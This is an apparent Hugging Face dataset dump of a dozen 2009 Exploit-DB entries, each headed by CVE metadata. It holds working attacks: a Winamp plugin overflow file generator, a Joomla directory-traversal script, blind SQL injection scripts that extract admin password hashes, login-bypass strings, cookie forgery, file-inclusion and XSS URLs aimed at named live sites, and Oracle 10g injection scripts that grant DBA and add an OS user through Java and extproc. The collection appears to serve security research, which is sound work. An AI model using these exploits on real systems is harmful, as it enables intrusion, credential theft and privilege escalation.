QLWD/code_shield huggingface dataset:
标题: Winamp GEN_MSN Plugin - Heap Buffer Overflow (PoC) EDB-ID: 7696 CVE: 2009-0833 类型: DOS 平台: WINDOWS 发布日期: 2009-01-07 漏洞利用脚本: #!/usr/bin/perl
# WinAmp GEN_MSN Plugin Heap Buffer Overflow
# ------------------------------------
# Discovered by SkD (skdrat@hotmail.com) &
#      (skd@abysssec.com)
# ------------------------------------
#
# I'm not much for posting PoCs because
# I like writing exploits for whatever
# I discover and if I don't, its a waste.
#
# Anyway, this buffer overflow is located
# in the gen_msn plugin, which
# is basically a plugin that shows what
# song you're currently listening to
# on your PM in MSN. The plugin has over
# 800,000 downloads so its serious..
# (http://www.winamp.com/plugins/details/144799)
# This is similar to my other recent exploit
# for VUPlayer because it uses the same point
# of the .PLS playlist file!
#
# Debug Info:
# MOV EDI,DWORD PTR DS:[ECX+EAX*4+960]
# Regs:
# EAX 00000003
# ECX 41414141   <- Clear control over the register
# EDX 007EA478
# EBX 40000001
# ESP 028F1DB0
# EBP 77230459 USER32.SendMessageA
# ESI 08FD62A8 gen_msn.08FD62A8
# EDI 00497300 UNICODE "http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
# EIP 08FD293C gen_msn.08FD293C
#
# Peace out.
#                           _________ ___   ________
#                          /   _____/|  | __\______ \
#                          \_____  \ |  |/ / |    |  \
#                          /        \|    <  |    `   \
#                         /_______  /|__|_ \/_______  /
#                                 \/      \/        \/
use strict;
use warnings;

my $overflow = "\x41" x 2048;

open(my $pls_playlist, "> poc.pls");
print $pls_playlist "[playlist]\r\n".
      "NumberOfEntries=1\r\n".
                    "File1=http://".
                    $overflow.
                    "\r\n";
close $pls_playlist;

# milw0rm.com [2009-01-07] URL: https://www.exploit-db.com/exploits/7696
标题: BlogHelper - Remote Configuration File Disclosure EDB-ID: 7689 CVE: 2009-0826 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-06 漏洞利用脚本: ......

  Remote Config File Disclosure
----------------------------------------------------
script: BlogHelper
   
***************************************************************************
download from:http://www.freedville.com/oss/BlogHelper.zip
   
***************************************************************************
vul:

www.site.com/path/common_db.inc
................................
  $dbhost = "";
  $dbusername = "";
  $dbuserpass = "";
  $default_dbname = ";
..............................
-------------------------------------------------
-------------------------------------------------  
*************************************************

Author: ahmadbady 

*************************************************

# milw0rm.com [2009-01-06] URL: https://www.exploit-db.com/exploits/7689
标题: ItCMS 2.1a - Authentication Bypass EDB-ID: 7686 CVE: 2009-0493 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-06 漏洞利用脚本: __         .__            .___             __  .__     
  ____  ____________/  |______  |__| ____    __| _/____ _____ _/  |_|  |__  
_/ ___\/ __ \_  __ \   __\__  \ |  |/    \  / __ |/ __ \\__  \\   __\  |  \ 
\  \__\  ___/|  | \/|  |  / __ \|  |   |  \/ /_/ \  ___/ / __ \|  | |   Y  \
 \___  >___  >__|   |__| (____  /__|___|  /\____ |\___  >____  /__| |___|  /
     \/    \/                 \/        \/      \/    \/     \/          \/ 
--+++~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+++--
--+++~~~~~ IT!CMS <= vers. SQL Injection Vulnerability ~~~~~+++--
--+++~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+++--
[+] Discovered by: certaindeath
[+] Exploit: simple SQL injection
[+] Path: [cms dir]/login.php
[+] Username: ' OR 'x' = 'x
[+] Password: anything
[+] Have fun ^^

# milw0rm.com [2009-01-06] URL: https://www.exploit-db.com/exploits/7686
标题: PlaySms 0.9.3 - Multiple Local/Remote File Inclusions EDB-ID: 7687 CVE: 2009-0103 2008-5881 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-06 漏洞利用脚本: ==:RFI/LFI:==


=====================
script:playsms 0.9.3

==========================================================================
download from:http://downloads.sourceforge.net/playsms/playsms-0.9.3.tar.gz?modtime=1211284086&big_mirror=0
   
==========================================================================
vul1: /plugin/gateway/gnokii/init.php lin 2 , 3;

2 include "$apps_path[plug]/gateway/$gateway_module/config.php";
3 include "$apps_path[plug]/gateway/$gateway_module/fn.php";

==========================================================================
vul2: /plugin/themes/default/init.php lin 2 , 3;

2 include $apps_path[themes]."/".$themes_module."/config.php";
3 include $apps_path[themes]."/".$themes_module."/fn.php";

==========================================================================
vul3: /lib/function.php lin 4 and...

lin4 include "$apps_path[libs]/fn_auth.php";

==========================================================================

xpl:
http://127.0.0.1/path/plugin/gateway/gnokii/init.php?apps_path[plug]=[Rfi]?
http://127.0.0.1/path/plugin/gateway/gnokii/init.php?gateway_module=[Lfi]

http://127.0.0.1/path/plugin/themes/default/init.php?apps_path[themes]=[Rfi]?
http://127.0.0.1/path/plugin/themes/default/init.php?themes_module=[Lfi]

http://127.0.0.1/path/lib/function.php?apps_path[libs]=[Rfi]?
==========================================================================
***************************************************
---------------------------------------------------
Author: ahmadbady [kivi_hacker666@yahoo.com]
---------------------------------------------------

# milw0rm.com [2009-01-06] URL: https://www.exploit-db.com/exploits/7687
标题: PollHelper - Remote Configuration File Disclosure EDB-ID: 7690 CVE: 2009-0827 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-06 漏洞利用脚本: Remote Config File Disclosure
----------------------------------------------------
script: PollHelper
   
***************************************************************************
download from:http://www.freedville.com/oss/PollHelper.zip
   
***************************************************************************
vul:

www.site.com/path/poll.inc
...............................
  $dbhost = "";
  $dbusername = "";
  $dbuserpass = "";
  $default_dbname = ";
..............................
-------------------------------------------------
-------------------------------------------------  
*************************************************

Author: ahmadbady 

*************************************************

# milw0rm.com [2009-01-06] URL: https://www.exploit-db.com/exploits/7690
标题: Joomla! Component xstandard editor 1.5.8 - Local Directory Traversal EDB-ID: 7691 CVE: 2009-0113 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-07 漏洞利用脚本: <?php
/*
 Joomla <= 1.5.8 (xstandard editor) Local Directory Traversal Vulnerability
 
 discovered by: irk4z[at]yahoo.pl
 greets: all friends ;) 
*/

echo "* Joomla <= 1.5.8 (xstandard editor) Local Directory Traversal Vuln\n";
echo "* discovered by: irk4z[at]yahoo.pl\n";
echo "*\n";
echo "* greets: all friends ;) enjoy!\n";
echo "*------------------------------------------------------------------*\n";

$host = $argv[1];
$path = $argv[2];
$folder = $argv[3];

if (empty($host) || empty($path)) {
 echo "usage: php {$argv[0]} <host> <path> [<folder>]\n";
 echo "       php {$argv[0]} example.org /joomla\n";
 echo "       php {$argv[0]} example.org /joomla ../../\n";
 exit;
}

echo "http://" . $host . $path . "/images/stories/\n\n";

if ( empty($folder) ){
 $lev = "./";
 for( $i = 0; $i <= 7; $i++ ) {
  echo browseFolder($host, $path, $lev);
  $lev .= "../";
 }
} else {
 echo browseFolder($host, $path, $folder);
}

function browseFolder($host, $path, $folder){
 
 $packet = "GET {$path}/plugins/editors/xstandard/attachmentlibrary.php HTTP/1.1\r\n";
 $packet .= "Host: {$host}\r\n";
 $packet .= "X_CMS_LIBRARY_PATH: {$folder}\r\n";
 $packet .= "Connection: Close\r\n\r\n";

 $o = @fsockopen($host, 80);
 if(!$o){
  echo "\n[x] No response...\n";
  die;
 }
 
 fputs($o, $packet);
 while (!feof($o)) $data .= fread($o, 1024);
 fclose($o);
 
 $_404 = strstr( $data, "HTTP/1.1 404 Not Found" );
 if ( !empty($_404) ){
  echo "\n[x] 404 Not Found... Maybe wrong path? \n";
  die;
 }
 
 //folders
 preg_match_all("/<baseURL>([^<]+)<\/baseURL>/", $data, $matches);
 //files
 preg_match_all("/<value>([^<]+\.[^<]{3,4})<\/value>/", $data, $matches2);
 
 $matches = array_merge( $matches[1], $matches2[1] );
 
 if ( empty($matches) ){
  $ret = "$folder [x] Failed...\n";
 } else {
  $ret = '';
  foreach( $matches as $tmp){
   $ret .= str_replace("images/stories/", '', str_replace("/./", "/", str_replace("//", "/", urldecode($tmp) ) ) ) . "\n";
  }
 }
 
 return ($ret);
}

?>

# milw0rm.com [2009-01-07] URL: https://www.exploit-db.com/exploits/7691
标题: ezpack 4.2b2 - Cross-Site Scripting / SQL Injection EDB-ID: 7680 CVE: 2009-0105 2009-0104 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-06 漏洞利用脚本: +++++++++++   EZpack (XSS/SQL) Vulnerability ++++++++++
 ************************************************************************
ProDuct Name : EZpack
Download : http://www2.se-ed.net/fatcoder/?mode=download
Author : !-BUGJACK-!
Site : www.it-dark.com
+***************************************************************+
[SQL]
http://localhost/ezPack/op=prog&mdfd=webboard&act=1&ID=1&qType=ID+[SQL]
*****************************************************************+
[XSS]
http://localhost/ezPack/?op=prog&mdfd=[XSS]

*****************************************************************+

Demo XSS

http://www.khokhaoislandbeach.com/ezPack/?op=prog&mdfd=<script%20type="text/javascript">%20alert('xss')%20</script>

Demo SQl

http://www.khokhaoislandbeach.com/ezPack/?op=prog&mdfd=webboard&act=1&ID=1&qType=0'+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*
************************************************************************************************************************************************************************************************************
Thx : milw0rm.Com $linux TheShadow Cybertrack Theoptix Skill Localhost Unknown ~null Nightmare Auto123 Xanax yuyuhaku ...l3od? $ L@M...
Anuwat555 Dol2à¹›Eà¹›MoN K33à¸¿!N IT-DarK Team. All

# milw0rm.com [2009-01-06] URL: https://www.exploit-db.com/exploits/7680
标题: PHPAuctionSystem - Insecure Cookie Handling EDB-ID: 7674 CVE: 2009-0108 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-05 漏洞利用脚本: [~] PHPAuctionSystem Insecure Cookie Handling Vuln.
[~]
[~]----------------------------------------------------------
[~] Discovered By: ZoRLu  msn: trt-turk@hotmail.com
[~]
[~] Date: 05.01.09
[~]
[~] Home: z0rlu.blogspot.com / www.experl.com 
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] EN ONEMLi N0T: demolarI hackleyen top olsun top ( if you hack demo you will be ball xD )
[~] -----------------------------------------------------------

javascript:document.cookie = "PHPAUCTION_RM_ID=[ID]; path=/"; document.cookie = "PHPAUCTION_RM_NAME=[Real_name]; path=/"; document.cookie = "PHPAUCTION_RM_USERNAME=[User_name]; path=/"; "PHPAUCTION_RM_EMAIL=[email]; path=/";

exp for demo: ( username: sallama )

javascript:document.cookie = "PHPAUCTION_RM_ID=47; path=/"; document.cookie = "PHPAUCTION_RM_NAME=salla; path=/"; document.cookie = "PHPAUCTION_RM_USERNAME=sallama; path=/"; "PHPAUCTION_RM_EMAIL=trt-turk%40hotmail.com; path=/";


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & Scriptorium & h4ckinger & Cyber_Thief & BLaSTeR & Ahmet and all experl.com users :)
[~]
[~] yildirimordulari.org  &  experl.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-01-05] URL: https://www.exploit-db.com/exploits/7674
标题: PHPAuctionSystem - Cross-Site Scripting / SQL Injection EDB-ID: 7672 CVE: 2009-0107 2009-0106 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-05 漏洞利用脚本: #########################
#PHPAuctionSystem#
#########################
Author:x0r
Email:andry2000@hotmail.it
Cms:PhpAuctionSystemvnew
Cmsprice:$59.99
Demo:http://www.phpauctions.info/demo/
##########################

BugIn:\profile.php(Blind\Normal Sql Injection)

Exploit(Blind):
profile.php?user_id=29%20and%20substring(@@version,1,1)=5--

profile.php?user_id=29%20and%20substring(@@version,1,1)=4--
  profile.php?user_id=29and+1=0--
  profile.php?user_id=29and+1=1--
Perl Exploit:

#!/usr/bin/perl -w

      use strict;

      use LWP::Simple;

      my $a;

  my $host = "http://www.phpauctions.info/demo/profile.php?user_id="; #Put
the victim i've used the demo

      my @chars = (48..57, 97..102);

 
      for my $i(1..32) {

         foreach my $ord(@chars) {

       

         $a =
get($host."1+and+ascii(substring((select+password+from+PHPAUCTION_adminusers+where+id=10),$i,1))=$ord--");

       

         if($a =~ /coucou/i) {#put the username of the user_id=[id]

           syswrite(STDOUT,chr($ord));

           $i++;

           last;

          }

        }

      } 

Sql Injection: 
  
profile.php?user_id=-29%20union%20select%201,concat(id,char(58),username,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20PHPAUCTION_adminusers--  
   
  
Exploit(XSS):profile.php?user_id=29&auction_id=9[XssCode]

LiveDemo:http://www.phpauctions.info/demo/profile.php?user_id=29and
substring(@@version,1,1)=4--[False]
http://www.phpauctions.info/demo/profile.php?user_id=29and
substring(@@version,1,1)=5--[True]

LiveDemo(XSS):

http://www.phpauctions.info/demo/profile.php?user_id=29&auction_id=9<script>alert(1);</script>

Live Demo Sql:

http://www.phpauctions.info/demo/profile.php?user_id=-29%20union%20select%201,concat(id,char(58),username,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20PHPAUCTION_adminusers--


Greetz:MyGirlfriend...

# milw0rm.com [2009-01-05] URL: https://www.exploit-db.com/exploits/7672
标题: Oracle 10g - SYS.LT.MERGEWORKSPACE SQL Injection EDB-ID: 7676 CVE: 2008-3983 类型: LOCAL 平台: MULTIPLE 发布日期: 2009-01-06 漏洞利用脚本: /*********************************************************/
/*Oracle 10g SYS.LT.MERGEWORKSPACE SQL Injection Exploit**/
/****grant DBA and create new  OS user (java)*************/
/*********************************************************/
/***********exploit grant DBA to scott********************/
/***********and execute OS command "net user"*************/
/***********using java procedures ************************/
/*********************************************************/
/***********tested on oracle 10.1.0.5.0*******************/
/*********************************************************/
/*********************************************************/
/* Date of Public EXPLOIT: January 6, 2009               */
/* Written by:             Alexandr "Sh2kerr" Polyakov   */
/* email:                  Alexandr.Polyakov@dsec.ru     */
/* site:                   http://www.dsecrg.ru          */
/*                         http://www.dsec.ru            */
/*********************************************************/
/*Original Advisory:                                     */
/*Esteban Martinez Fayo [Team SHATTER ]                  */
/*Date of Public Advisory: November 11, 2008             */
/*http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml*/
/*********************************************************/

select * from user_role_privs;

CREATE OR REPLACE FUNCTION Y return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN 'Y';
END;
/

exec SYS.LT.CREATEWORKSPACE('sh2kerr'' and SCOTT.Y()=''Y');
exec SYS.LT.MERGEWORKSPACE('sh2kerr'' and SCOTT.Y()=''Y');



/* Creating simple java procedure that executes OS  */

exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
exec dbms_java.grant_permission('SCOTT', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission('SCOTT', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');

CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS
import java.lang.*;
import java.io.*;
public class JAVACMD
{
 public static void execCommand (String command) throws IOException
 {
     Runtime.getRuntime().exec(command);
 }
};
/

CREATE OR REPLACE PROCEDURE JAVAEXEC (p_command  IN  VARCHAR2)
AS LANGUAGE JAVA 
NAME 'JAVACMD.execCommand (java.lang.String)';
/

/* here we can paste any OS command for example create new user */

exec javaexec(Â‘net user hack 12345 /addÂ’);

select * from user_role_privs;

// milw0rm.com [2009-01-06] URL: https://www.exploit-db.com/exploits/7676
标题: RiotPix 0.61 - 'forumid' Blind SQL Injection EDB-ID: 7679 CVE: 2009-0110 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-06 漏洞利用脚本: <?php

/*

 $Id: riotpix-0.61.txt,v 0.1 2009/01/06 03:47:30 cOndemned Exp $

 RiotPix <= 0.61 (forumid) Blind SQL Injection Exploit
 Bug found && Exploited by cOndemned

 Download :
  
  http://www.riotpix.com/download/riotpix0_61.zip


 Description :
  
  It's just simple Blind SQL Injection exploit that gets
  password hash of given user. Code is really simple - 
  without proxy, or error handling, but i don't think it is
  important, as long as the RiotPix isn't famous script...
  
 ------------------------------------------------------------------- 

 Greetz: 
 
  ZaBeaTy, str0ke, sid.psycho & TWT, wojtus0007, 0in, vCore


  "...What is left to die for, what is left to give..."

*/


 echo "\n[~] RiotPix <= 0.61 (forumid) Blind SQL Injection Exploit";
 echo "\n[~] Bug found && Exploited by cOndemned\n";

 if($argc != 4)
 {
  printf("[!] Usage: php %s <target_size> <username> <topic_id>\n\n", $argv[0]);
  exit;
 }

 list($sploit, $target, $username, $topicid) = $argv;

 $charsArr = array(48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102);
 $pos = 1;

 echo "[~] Password Hash : ";

 while($pos != 33)
 {
  for($i = 0; $i <= count($charsArr); $i++)
  {
   $query = "/read.php?forumid=$topicid+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='$username'),$pos,1)=CHAR({$charsArr[$i]})--";
   $source = file_get_contents($target . $query);
   
   if(!eregi('existent', $source))  
   {
    printf("%s", chr($charsArr[$i]));
    $pos++;
    break;
   }
   flush(STDOUT);
  }
 }

 echo "\n[~] Done\n\n";

?>

# milw0rm.com [2009-01-06] URL: https://www.exploit-db.com/exploits/7679
标题: RiotPix 0.61 - Authentication Bypass EDB-ID: 7682 CVE: 2009-0109 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-06 漏洞利用脚本: [~] RiotPix <= 0.61 Bypass
[~]
[~]----------------------------------------------------------
[~] Discovered By: ZoRLu  msn: trt-turk@hotmail.com
[~]
[~] Date: 06.01.09
[~]
[~] Home: z0rlu.blogspot.com / www.experl.com 
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] EN ONEMLi N0T: demolarI hackleyen top olsun top ( if you hack demo you will be ball xD )
[~] -----------------------------------------------------------

for demo:

username: logoz ' or '

pass: dont write anything

http://www.riotpix.com/board/

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & Scriptorium & h4ckinger & Cyber_Thief & BLaSTeR & Ahmet and all experl.com users :)
[~]
[~] yildirimordulari.org  &  experl.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-01-06] URL: https://www.exploit-db.com/exploits/7682
标题: Oracle 10g - SYS.LT.REMOVEWORKSPACE SQL Injection EDB-ID: 7675 CVE: 2008-3984 类型: LOCAL 平台: MULTIPLE 发布日期: 2009-01-06 漏洞利用脚本: /*********************************************************/
/*Oracle 10g SYS.LT.REMOVEWORKSPACE SQL Injection Exploit*/
/****grant DBA and create new  OS user (advanced extproc)*/
/*********************************************************/
/***********exploit grant DBA to scott********************/
/***********and execute OS command "net user"*************/
/***********using advanced extproc method*****************/
/*********************************************************/
/***********tested on oracle 10.1.0.5.0*******************/
/*********************************************************/
/*********************************************************/
/* Date of Public EXPLOIT: January 6, 2009               */
/* Written by:             Alexandr "Sh2kerr" Polyakov   */
/* email:                  Alexandr.Polyakov@dsec.ru     */
/* site:                   http://www.dsecrg.ru          */
/*      http://www.dsec.ru            */
/*********************************************************/
/*Original Advisory:                                     */
/*Esteban Martinez Fayo [Team SHATTER ]                  */
/*Date of Public Advisory: November 11, 2008             */
/*http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml*/
/*********************************************************/


select * from user_role_privs;

CREATE OR REPLACE FUNCTION X return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
EXECUTE IMMEDIATE 'GRANT CREATE ANY DIRECTORY TO SCOTT';
EXECUTE IMMEDIATE 'GRANT CREATE ANY LIBRARY TO SCOTT';
EXECUTE IMMEDIATE 'GRANT EXECUTE ON SYS.DBMS_FILE_TRANSFER TO SCOTT';
COMMIT;
RETURN 'X';
END;
/

exec SYS.LT.CREATEWORKSPACE('sh2kerr'' and SCOTT.X()=''X');
exec SYS.LT.REMOVEWORKSPACE('sh2kerr'' and SCOTT.X()=''X');

/* bypassing extproc limitation by copying msvcrt.dll to $ORACLE_HOME\BIN */
/* this method works in 10g and 11g database versions with updates        */

CREATE OR REPLACE DIRECTORY copy_dll_from AS 'C:\Windows\system32';
CREATE OR REPLACE DIRECTORY copy_dll_to AS   'C:\Oracle\product\10.1.0\db_1\BIN';

BEGIN
  SYS.DBMS_FILE_TRANSFER.COPY_FILE(
   source_directory_object      => 'copy_dll_from',
   source_file_name             => 'msvcrt.dll',
   destination_directory_object => 'copy_dll_to',
   destination_file_name        => 'msvcrt.dll');
END;
/

CREATE OR REPLACE LIBRARY extproc_shell AS 'C:\Oracle\product\10.1.0\db_1\bin\msvcrt.dll';
/

CREATE OR REPLACE PROCEDURE extprocexec (cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY extproc_shell
LANGUAGE C;
/

/* here we can paste any OS command for example create new user */

EXEC extprocexec('net user hack 12345 /add');
/

select * from user_role_privs;

// milw0rm.com [2009-01-06] URL: https://www.exploit-db.com/exploits/7675